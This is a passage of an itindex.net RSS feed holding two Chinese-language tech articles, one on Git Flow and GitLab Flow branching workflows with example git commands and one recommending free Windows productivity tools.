git push -u origin develop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;以后这个分支将会包含了项目的全部历史，而   &lt;code&gt;master&lt;/code&gt;分支将只包含了部分历史&lt;/p&gt;  &lt;p&gt;2、接下来我们开始开发新功能，基于 develop 分支创建新的功能分支&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout -b some-feature develop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;并在自己的功能分支上进行开发、创建提交：&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git status# 查看本地仓库的修改状态git add# 暂存文件git commit# 提交文件&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;3、当你在你的分支上完成工作，准备好进行合并时，请打开一个 Pull Request，用于合并到   &lt;code&gt;develop&lt;/code&gt;分支。如果你的团队没使用 Pull Request 则可以直接合并到本地的 develop 分支然后推送到中央仓库。&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git pull origin develop
git checkout develop

git merge --no-ff some-feature
git push# 删除本地分支git branch -d some-feature&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;并且在功能分支合并后应该立即删除&lt;/p&gt;  &lt;p&gt;4、当我们的   &lt;code&gt;develop&lt;/code&gt;分支进行到需要发布时，需要从   &lt;code&gt;develop&lt;/code&gt;分支创建一个新的发布分支，命名为   &lt;code&gt;release-*&lt;/code&gt;或   &lt;code&gt;release/*&lt;/code&gt;。这一步也确定了发布的版本号：&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout -b release-0.1.0 develop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;这个分支是一个预发布的版本，只做 bug 修复、文档生成等面向发布的任务。新功能不再添加到这个分支上&lt;/p&gt;  &lt;p&gt;5、经过一系列测试确认没有问题，准备好了对外发布后，我们需要将发布分支合并到 master 分支，并打下 tag&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout master
git merge --no-ff release-0.1
git push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git tag -a 0.1 -m &amp;quot;release 0.1 publish&amp;quot; master
git push --tags&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;6、同时我们还需要将这个发布分支合并回去 master 分支&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout develop
git merge --no-ff release-0.1.0
git push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;最后我们还需要删除掉这个发布分支 release-0.1.0&lt;/p&gt;  &lt;p&gt;7、如果我们的线上版本出现问题时，就需要创建一个维护分支，用于快速给产品打补丁。这个维护分支需要从   &lt;code&gt;master&lt;/code&gt;分支上创建，提交修改以解决问题，然后再直接合并回   &lt;code&gt;master&lt;/code&gt;分支：&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout -b hotfix-auth master&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;修复完成后将其合并到 master 分支&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout master
git merge --no-ff hotfix-auth
git push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;同时打下新的 tag&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git tag -a 0.1.1 -m &amp;quot;release 0.1.1 publish&amp;quot; master
git push --tags&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;同样也需要将修复分支合并到 develop 分支&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout develop
git merge --no-ff hotfix-auth
git push&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;最后删除掉这个热修复分支&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git branch -d hotfix-auth&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;h3&gt;主要遵循原则&lt;/h3&gt;  &lt;p&gt;它基于两个长期的主要分支：&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;主分支    &lt;code&gt;master&lt;/code&gt;该分支包含生产代码。 该分支是稳定的发布版&lt;/li&gt;   &lt;li&gt;开发分支    &lt;code&gt;develop&lt;/code&gt;此分支包含预生产代码。所有的功能分支完成后需要合并到该分支&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;其次在开发中还有三种短期分支&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;功能分支（feature branch）功能分支用于为即将发布的版本开发新功能。从    &lt;code&gt;develop&lt;/code&gt;分支中检出也必须合并回    &lt;code&gt;develop&lt;/code&gt;。&lt;/li&gt;   &lt;li&gt;补丁分支（hotfix branch）补丁分支 用于修复线上 bug, 从 master 分支上面检出。修复结束以后，再合并进 master 和 develop 分支&lt;/li&gt;   &lt;li&gt;预发分支（release branch）预发布分支用于生成一个预发布版本进行测试 预发布分支是从 develop 分支上面分出来的，预发布结束以后，必须合并进 Develop 和 Master 分支。它的命名，可以采用 release-*的形式。&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;优点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;整个项目生命周期内，分支状态十分干净，各个分支各司其职&lt;/li&gt;   &lt;li&gt;分支的命名遵循系统的模式，使其更易于理解&lt;/li&gt;   &lt;li&gt;    &lt;code&gt;master&lt;/code&gt;和    &lt;code&gt;develop&lt;/code&gt;分支分别记录发布和功能开发的历史&lt;/li&gt;   &lt;li&gt;由于有发布分支，其他暂不发布的功能的开发不受发布的影响，可以继续提交&lt;/li&gt;   &lt;li&gt;维护分支能快速打补丁，不影响正在开发的功能&lt;/li&gt;   &lt;li&gt;当生产中需要多个版本时，它是理想的选择&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;缺点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;较为复杂&lt;/li&gt;   &lt;li&gt;Git 历史记录变得不可读&lt;/li&gt;   &lt;li&gt;需要维护两个长期分支    &lt;code&gt;master&lt;/code&gt;和    &lt;code&gt;develop&lt;/code&gt;&lt;/li&gt;   &lt;li&gt;不方便持续交付和持续集成&lt;/li&gt;&lt;/ul&gt;  &lt;h2&gt;Gitlab Flow 工作流&lt;/h2&gt;  &lt;p&gt;GitLab Flow 是通过创建工作流   &lt;a href="https://about.gitlab.com/2014/09/29/gitlab-flow/"&gt;GitLab&lt;/a&gt;在 2014 年。它将   &lt;a href="https://en.wikipedia.org/wiki/Feature-driven_development"&gt;功能驱动的开发&lt;/a&gt;和功能分支以及问题跟踪结合在一起。它是 Git Flow 与 GithubFflow 的综合。它吸取了两者的优点，既有适应不同开发环境的弹性，又有单一主分支的简单和便利。GitLab Flow 和 GitHub Flow 之间的最大区别是 GitLab Flow 中的环境分支支持（例如   &lt;code&gt;staging&lt;/code&gt;和   &lt;code&gt;production&lt;/code&gt;），&lt;/p&gt;  &lt;p&gt;GitLab Flow 的最大原则叫做&amp;quot;上游优先&amp;quot;（upsteam first），即只存在一个主分支   &lt;code&gt;master&lt;/code&gt;，它是所有其他分支的&amp;quot;上游&amp;quot;。只有上游分支采纳的代码变化，才能应用到其他分支。&lt;/p&gt;  &lt;p&gt;GitLab Flow 分成两种情形来应付不同的开发流程&lt;/p&gt;  &lt;h3&gt;持续发布&lt;/h3&gt;  &lt;p&gt;对于持续发布的项目，它建议在   &lt;code&gt;master&lt;/code&gt;分支以外，再建立不同的环境分支，每个环境都会有对应的分支。比如，开发环境的分支是   &lt;code&gt;master&lt;/code&gt;，预发环境的分支是   &lt;code&gt;pre-production&lt;/code&gt;，生产环境的分支是   &lt;code&gt;production&lt;/code&gt;。&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;开发分支    &lt;code&gt;master&lt;/code&gt;用于发布到测试环境，该分支为受保护的分支&lt;/li&gt;   &lt;li&gt;预发分支    &lt;code&gt;pre-production&lt;/code&gt;用于发布到预发环境，上游分支为    &lt;code&gt;master&lt;/code&gt;&lt;/li&gt;   &lt;li&gt;正式分支    &lt;code&gt;production&lt;/code&gt;用于发布到正式环境，上游分支为    &lt;code&gt;pre-production&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;如果生产环境(production)发生错误，则要建一个新分支修改完后合并到最上游的开发分支(master)此时就是 Upstream first)，且经过测试，再继续往 pre-production branch，要经过测试没有问题了才能够再往下合并到生产环境。&lt;/p&gt;  &lt;h3&gt;版本发布&lt;/h3&gt;  &lt;p&gt;对于&amp;quot;版本发布&amp;quot;的项目，建议的做法是每一个稳定版本，都要从   &lt;code&gt;master&lt;/code&gt;分支拉出一个分支，比如   &lt;code&gt;2-3-stable&lt;/code&gt;、   &lt;code&gt;2-4-stable&lt;/code&gt;等等。&lt;/p&gt;  &lt;p&gt;再出现 bug 后，根据对应的 release branch 创建一个修复分支，修复工作万和城呢个后，一样要按着上游优选的原则，先合并到 master 分支，经过测试才能到才能够合并到 release 分支，并且此时要更新小版本号。&lt;/p&gt;  &lt;h3&gt;工作流程示例&lt;/h3&gt;  &lt;p&gt;和之前一样。首先 clone 项目到本地&lt;/p&gt;  &lt;p&gt;1、当我们要实现新功能或是修复 bug 时。从 master 检出新的分支如：feature-auth&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git checkout -b feature-auth&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;2、然后在该分支下进行工作，完成后创建提交&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git status # 查看本地仓库的修改状态
git add # 暂存文件
git commit # 提交文件&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;推送代码到远程仓库，&lt;/p&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;git push origin feature-auth&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;p&gt;3、代码推送到仓库后，自定运行 GitLab CI&lt;/p&gt;  &lt;p&gt;4、当我们开发完成准备合并进 master 时，在 GitLab 上创建一个 Merge Request&lt;/p&gt;  &lt;p&gt;5、项目管理者进行代码审查，通过后，合并到   &lt;code&gt;master&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;6、运行第二次 GitLab CI&lt;/p&gt;  &lt;p&gt;7、通过相应的测试后，将   &lt;code&gt;master&lt;/code&gt;分支合并到   &lt;code&gt;stable&lt;/code&gt;，如果是新版本则创建一个新的   &lt;code&gt;stable&lt;/code&gt;分支&lt;/p&gt;  &lt;p&gt;8、为   &lt;code&gt;stable&lt;/code&gt;打上 tag，并进行发布&lt;/p&gt;  &lt;h3&gt;主要遵循原则&lt;/h3&gt;  &lt;ol&gt;   &lt;li&gt;使用功能分支，不直接提交（commit）到 master 分支&lt;/li&gt;   &lt;li&gt;测试所有的提交，而不仅仅只在 master 分支上&lt;/li&gt;   &lt;li&gt;在所有的提交上，运行所有的测试（如果你的测试时间长于 5 分钟则让它们并行)&lt;/li&gt;   &lt;li&gt;在合并到 master 之前执行代码审查，而不是事后审查&lt;/li&gt;   &lt;li&gt;部署是自动的，并基于分支或标签（tag）&lt;/li&gt;   &lt;li&gt;标签（tag）是由用户设置的，而不是由 CI 创建&lt;/li&gt;   &lt;li&gt;发布（release）是基于标签（tag）的&lt;/li&gt;   &lt;li&gt;永远不对已推送的提交（pushed commits）进行变基（rebase）&lt;/li&gt;   &lt;li&gt;每个人都从 master 分支开始工作，目标也是 master 分支&lt;/li&gt;   &lt;li&gt;在 master 分支中修正错误，其次再到发布分支&lt;/li&gt;   &lt;li&gt;提交信息（commit message）应体现意图&lt;/li&gt;&lt;/ol&gt;  &lt;h3&gt;优点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;它定义了如何进行持续集成和持续交付&lt;/li&gt;   &lt;li&gt;Git 历史记录干净、易读&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;缺点&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;    &lt;p&gt;相比较于 GitHub Flow 更复杂&lt;/p&gt;&lt;/li&gt;   &lt;li&gt;    &lt;p&gt;当需要在生产中维护多个版本时，它可能会像 Git Flow 一样变得复杂&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;h2&gt;总结及建议&lt;/h2&gt;  &lt;p&gt;没有一个万能的适合所有项目的 Git 工作流程及分支策略，无论最终选择哪种策略，你都可以通过进一步的修改来优化它。就像前文所说的，Git 工作流程对我们提升团队生产力非常重要，在制定我们的工作流程时，应该尽量符合我们的项目具体业务需求及开发环境。但是也有如下几点小建议：&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;    &lt;p&gt;临时分支不应该存在太久，每个分支应尽量保持精简，用完即删&lt;/p&gt;&lt;/li&gt;   &lt;li&gt;    &lt;p&gt;工作流应该尽量简单，同时方便回滚&lt;/p&gt;&lt;/li&gt;   &lt;li&gt;    &lt;p&gt;工作流程应该符合我们的项目发布计划&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;参考链接&lt;/h3&gt;  &lt;ul&gt;   &lt;li&gt;    &lt;a href="https://www.atlassian.com/git/tutorials/comparing-workflows"&gt;atlassian comparing workflows&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://about.gitlab.com/topics/version-control/what-are-gitlab-flow-best-practices/"&gt;What are GitLab Flow best practices?&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://nvie.com/posts/a-successful-git-branching-model/"&gt;A successful Git branching model&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://guides.github.com/introduction/flow/"&gt;Understanding the GitHub flow&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;    &lt;a href="https://docs.gitlab.com/ee/topics/gitlab_flow.html"&gt;Introduction to GitLab Flow&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>dev</category>
      <guid isPermaLink="true">https://itindex.net/detail/61331-git-%E5%88%86%E6%94%AF-%E7%AE%A1%E7%90%86</guid>
      <pubDate>Tue, 13 Apr 2021 00:00:00 CST</pubDate>
    </item>
    <item>
      <title>2021年推薦：知識工作者必備的Windows高效率工具</title>
      <link>https://itindex.net/detail/61135-%E5%B7%A5%E4%BD%9C-windows-%E5%B7%A5%E5%85%B7</link>
      <description>&lt;p&gt;
		  &lt;img src="http://jdev.tw/blog" width="175"&gt;&lt;/img&gt;
		&lt;/p&gt; &lt;h3&gt;採用前提&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;免費或開放原始碼。&lt;/li&gt;
  &lt;li&gt;有可攜版本&lt;/li&gt;
  &lt;li&gt;持續更新&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;1. 應用程式啟動器&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;uTools
   &lt;ul&gt;
    &lt;li&gt;生產力工具集：自由整合豐富插件，快速匹配「場景功能」，用完即走&lt;/li&gt;
    &lt;li&gt;有Windows、Linux、MacOS三種版本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
  &lt;li&gt;Launchy-QT&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;2. 輸入工具&lt;/h3&gt;
 &lt;h4&gt;鍵盤工具&lt;/h4&gt;
 &lt;ol&gt;
  &lt;li&gt;AutoHotkey
   &lt;ul&gt;
    &lt;li&gt;影片清單：     &lt;a href="https://www.youtube.com/playlist?list=PLWg9zacwOnwd6gano3uDSbeqDxe0Nm1FB"&gt;AutoHotkey教學 – YouTube&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;文章清單：     &lt;a href="http://jdev.tw/blog/category/software-and-tools/autohotkey-keyboard"&gt;AutoHotkey鍵盤工具&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
  &lt;li&gt;熱字串替換工具：espanso&lt;/li&gt;
&lt;/ol&gt;
 &lt;h4&gt;滑鼠工具&lt;/h4&gt;
 &lt;ol&gt;
  &lt;li&gt;MouseInc&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;3. 本機檔名搜索&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;Everything search engine
   &lt;ul&gt;
    &lt;li&gt;下載：https://www.voidtools.com/&lt;/li&gt;
    &lt;li&gt;影片：     &lt;a href="https://youtu.be/wIm76BqeB3c"&gt;光速搜尋硬碟裡的所有事物： Everything Search 的使用技巧&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;文章：http://jdev.tw/blog/820/locate-files-by-everything-fast&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
  &lt;li&gt;命令行：es.exe
   &lt;ul&gt;
    &lt;li&gt;影片：     &lt;a href="https://youtu.be/Atp7YvwHHig"&gt;es+fzf:超快速找檔神器－用Everything Search的命令行es.exe，整合fzf的模糊搜尋；WSL也能使用！&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;範例：     &lt;br /&gt;
     &lt;code&gt;ES  Everything ext:exe;ini&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;4. 壓縮/解壓縮&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;7-Zip
   &lt;ul&gt;
    &lt;li&gt;命令行：
     &lt;ul&gt;
      &lt;li&gt;命令：7z.exe&lt;/li&gt;
      &lt;li&gt;視窗：7zfm.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
    &lt;li&gt;文章：     &lt;a href="http://jdev.tw/blog/100/tools-7-zip%E7%9A%84%E5%91%BD%E4%BB%A4%E5%88%97%E6%8C%87%E4%BB%A4"&gt;[Tools] 7-Zip的命令列指令&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
  &lt;li&gt;Bandizip&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;5. 剪貼簿管理&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;Ditto
   &lt;ul&gt;
    &lt;li&gt;影片：     &lt;a href="https://youtu.be/kVEj7kYIzew"&gt;[Windows] 文抄公的必備良方， 超方便剪貼簿工具：Ditto&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;文章：     &lt;a href="http://jdev.tw/blog/2515/ditto-clipboard-manager"&gt;超強的免費剪貼簿工具Ditto的進階使用&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;6. 螢幕截圖&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;Greenshot
   &lt;ul&gt;
    &lt;li&gt;影片：     &lt;a href="https://youtu.be/LhZX2zYxrL0"&gt;[Windows] 好用的截圖工具： GreenShot&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;文章：     &lt;a href="http://jdev.tw/blog/4057/greenshot-capture-screen"&gt;免費且開源的Windows截圖工具：Greenshot&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
  &lt;li&gt;Snipaste&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;7. 命令行終端工具&lt;/h3&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;a href="https://youtu.be/fxz54WtYYDs"&gt;Windows Terminal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://youtu.be/g7yTpi_u0Z8"&gt;ConEmu&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;h3&gt;教學影片&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;＃＃  &lt;strong&gt;您可能也會有興趣的類似文章&lt;/strong&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/6469/fselect-find-files-by-sql" rel="bookmark" title="2020/11/15"&gt;fselect: 擺脫複雜的命令選項，用SQL語法搜尋檔案&lt;/a&gt;  (0則留言, 2020/11/15)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/1489/windows-7-test" rel="bookmark" title="2009/08/19"&gt;Windows 7試用小記&lt;/a&gt;  (0則留言, 2009/08/19)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/2342/delete-files-by-date" rel="bookmark" title="2010/09/18"&gt;依檔案日期刪除檔案的工具：Delete Files By Date&lt;/a&gt;  (0則留言, 2010/09/18)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/4057/greenshot-capture-screen" rel="bookmark" title="2014/05/31"&gt;免費且開源的Windows截圖工具：Greenshot&lt;/a&gt;  (0則留言, 2014/05/31)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/6141/es-with-fzf" rel="bookmark" title="2020/03/14"&gt;es+fzf：超快速找檔神器－用Everything Search的命令行es.exe，整合fzf的模糊搜尋；WSL也能使用！&lt;/a&gt;  (0則留言, 2020/03/14)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/6365/espanso-text-expander" rel="bookmark" title="2020/07/19"&gt;espanso：免費且開源的熱字串工具，同時支援三大作業系統&lt;/a&gt;  (0則留言, 2020/07/19)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/1613/windows-show-desktop" rel="bookmark" title="2010/01/02"&gt;調整Windows 7環境: 加回工作列的「顯示桌面」圖示&lt;/a&gt;  (9則留言, 2010/01/02)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/6277/gsudo-windows-terminal" rel="bookmark" title="2020/05/20"&gt;以系統管理員啟動Windows Terminal的簡單方法：使用gsudo.exe&lt;/a&gt;  (0則留言, 2020/05/20)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/3782/youtube-player-for-windows-mac-ubuntu" rel="bookmark" title="2014/01/19"&gt;獨立的YouTube播放器應用程式，適用於Windows、Mac與Ubuntu&lt;/a&gt;  (0則留言, 2014/01/19)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/6117/wsl2-intreract-with-windows" rel="bookmark" title="2020/02/26"&gt;[WSL#5] WSL 2與Windows的交互操作&lt;/a&gt;  (0則留言, 2020/02/26)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/6037/batch1-windows-date-environment-variable" rel="bookmark" title="2019/12/15"&gt;[Batch#1] Windows批次檔－取得系統日期的簡單方法與環境變數字串操作 （初學者的命令行 #５）&lt;/a&gt;  (0則留言, 2019/12/15)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/789/how-to-backup-windows-live-writer" rel="bookmark" title="2008/08/24"&gt;如何備份Windows Live Writer的草稿與張貼內容？&lt;/a&gt;  (4則留言, 2008/08/24)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/5565/windows-executables-by-conemu" rel="bookmark" title="2019/03/31"&gt;Windows執行檔的各種啟動方法（初學者的命令行 #2 )&lt;/a&gt;  (0則留言, 2019/03/31)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/5252/my-youtube-channel" rel="bookmark" title="2018/02/26"&gt;歡迎參觀與訂閱YouTube新頻道：《簡睿軟體頻道》！&lt;/a&gt;  (0則留言, 2018/02/26)&lt;/li&gt;
  &lt;li&gt;   &lt;a href="http://jdev.tw/blog/738/vista-explorer-search-capabilities" rel="bookmark" title="2008/04/13"&gt;[Vista] 小試檔案總管的搜尋工具&lt;/a&gt;  (0則留言, 2008/04/13)&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;img alt="" height="1" src="http://feeds.feedburner.com/~r/emisjerry/~4/GDHn79G3rYo" width="1"&gt;&lt;/img&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Windows學習誌 Windows windows 10</category>
      <guid isPermaLink="true">https://itindex.net/detail/61135-%E5%B7%A5%E4%BD%9C-windows-%E5%B7%A5%E5%85%B7</guid>
      <pubDate>Sun, 03 Jan 2021 16:45:21 CST</pubDate>
    </item>
  </channel>
</rss>

